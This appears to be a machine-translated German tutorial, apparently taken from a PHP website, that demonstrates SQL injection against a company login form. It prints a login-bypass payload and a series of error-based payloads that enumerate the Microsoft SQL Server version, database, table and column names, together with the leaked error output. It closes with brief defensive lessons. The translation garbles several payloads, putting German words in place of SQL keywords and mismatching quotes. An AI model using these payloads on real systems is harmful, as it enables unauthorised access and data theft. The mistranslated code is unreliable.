Das Anmeldefeld auf der Unternehmenswebsite lautet wie folgt:
Ja, ich habe gesehen, dass es neben dem Konto und dem Passwort auch ein Eingabefeld für den Firmennamen gibt. Aus der Form des Eingabefelds lässt sich leicht schließen, dass die SQL wie folgt geschrieben ist:
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
Ich habe festgestellt, dass die ersten beiden einige Überprüfungen durchführen und das dritte Eingabefeld vernachlässigt wurde, und die Lücke ist da! Die Injektion beginnt, geben Sie folgenden Inhalt in das Eingabefeld ein:
Geben Sie den Benutzernamen nach dem Zufallsprinzip ein und lassen Sie das Passwort leer. In diesem Fall klicken Sie auf den Login-Button Button Erfolgreich angemeldet. Wenn wir uns das endgültige SQL ansehen, werden wir den Grund finden:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
Wie aus dem Code ersichtlich ist, ist die erste Hälfte der einfachen Anführungszeichen geschlossen und die zweite Hälfte der einfachen Anführungszeichen geschlossen Mit „--“ zu auskommentiert, gibt es in der Mitte eine zusätzliche Bedingung „1=1“, die immer wahr ist, was dazu führt, dass jeder Charakter erfolgreich angemeldet werden kann. Der Schaden der SQL-Injection besteht nicht nur in der anonymen Anmeldung.
Jetzt schreiben wir in das dritte Eingabefeld: „‘ oder 1=(SELECT @@version) –“. Wie folgt:
Das Hintergrund-SQL sieht folgendermaßen aus:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'
Die Beurteilungsbedingung wird 1=(SELECT @@VERSION), auf diese Weise Schreiben wird definitiv zu Fehlern führen, aber Fehler sind genau das, was wir wollen. Nachdem Sie zum Anmelden geklickt haben, werden die folgenden Informationen auf der Seite angezeigt:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.
Es ist tatsächlich etwas Schreckliches passiert, da die Informationen zum Betriebssystem und zur SQL Server-Version fehlerhaft angezeigt wurden.
Dann geben wir die folgenden Informationen in das Eingabefeld ein: „t“ oder 1=( SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--". Zu diesem Zeitpunkt wurde festgestellt, dass das dritte Eingabefeld ein Wort enthält Die Längenbeschränkung dieses Clients ist jedoch vergeblich und kann direkt über Google Chrome entfernt werden.
Klicken Sie hier, um sich anzumelden. Die zurückgegebenen Informationen lauten wie folgt:
Conversion failed when converting the nvarchar value 'master' to data type int.
Der Datenbankname „Master“ wird durch eine Ausnahme angezeigt! Indem Sie die Seriennummern in der obigen SQL-Anweisung nacheinander ändern, können Sie die Namen aller Datenbanken auf dem Server erhalten.
Als nächstes geben Sie die folgenden Informationen ein: "b' oder 1=(SELECT top 1 name FROM master..sysobjects wobei xtype='U' und Name nicht in (SELECT top 1 Name FROM master..sysobjects where xtype='U'))--"
Die zurückgegebenen Informationen lauten wie folgt:
Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.
Wir haben den ersten Tabellennamen in der Masterdatenbank erhalten : „spt_fallback_db“, wie oben, ändern Sie die Seriennummer nacheinander, und Sie können alle Tabellennamen der Bibliothek abrufen.
Jetzt nehmen wir die Tabelle „spt_fallback_db“ als Beispiel und versuchen, alle Feldnamen in der Tabelle abzurufen. Geben Sie den folgenden Code in das Eingabefeld ein: „b“ oder 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master ..sysobjects.name='spt_fallback_db');"
Die Fehlermeldung lautet also wie folgt:
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";
Auf diese Weise kommt der erste Feldname „xserver_name“ heraus , und die Sequenznummer wird nacheinander geändert, Sie können alle Feldnamen durchlaufen.
Während wir dies schreiben, wissen wir, dass alle Datenbanken, Tabellen und Felder durch SQL-Injection abgerufen werden können, um dies zu verhindern Der Artikel wurde vollständig zu einem Injektions-Tutorial, der Code zum Abrufen von Daten wird nicht mehr beschrieben und der Zweck dieses Artikels wurde erreicht. Was bedeutet SQL-Injektion? bedeutet, dass alle Daten in der Datenbank gestohlen werden können .
Kann jemand, der die Gefahr kennt, SQL-Injection-Schwachstellen noch ignorieren?
In Bezug auf die Sicherheit kann dieser Artikel die folgenden Punkte zusammenfassen:
Seien Sie immer wachsam gegenüber den vom Benutzer eingegebenen Inhalten.
Nur clientseitige Überprüfung bedeutet keine Überprüfung.
Stellen Sie Benutzern niemals Serverfehlermeldungen zur Verfügung.
Darüber hinaus möchte ich noch ein paar Punkte hinzufügen:
SQL-Injection kann seinen Zweck nicht nur über Eingabefelder erreichen, sondern auch über URL .
Neben der Serverfehlerseite gibt es noch andere Möglichkeiten, Datenbankinformationen abzurufen.
Sie können das Injektionsverhalten durch Software simulieren. Auf diese Weise können Sie Informationen viel schneller stehlen, als Sie denken.
Die Schwachstelle hat nichts mit der Sprachplattform zu tun. Es ist nicht so, dass asp Injektionsschwachstellen aufweist, aber asp.net weist keine Injektionsschwachstellen auf. Alles hängt davon ab, ob der Designer vorsichtig ist.
[Verwandte Empfehlungen]
1. Besondere Empfehlung: "php-Programmierer-Tools herunterladen die V0.1-Version von „Box“
2. Wie kann man SQL-Injection verhindern? Stellen Sie 5 Möglichkeiten zur Verhinderung von SQL-Injection vor
3.Teilen Sie fünf bekannte Tools zum Scannen von SQL-Injection-Schwachstellen
4 der Drag-Bibliothek für SQL-Injection-SchwachstellenDas obige ist der detaillierte Inhalt vonTeilen Sie einen Beispielprozess der SQL-Injection. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!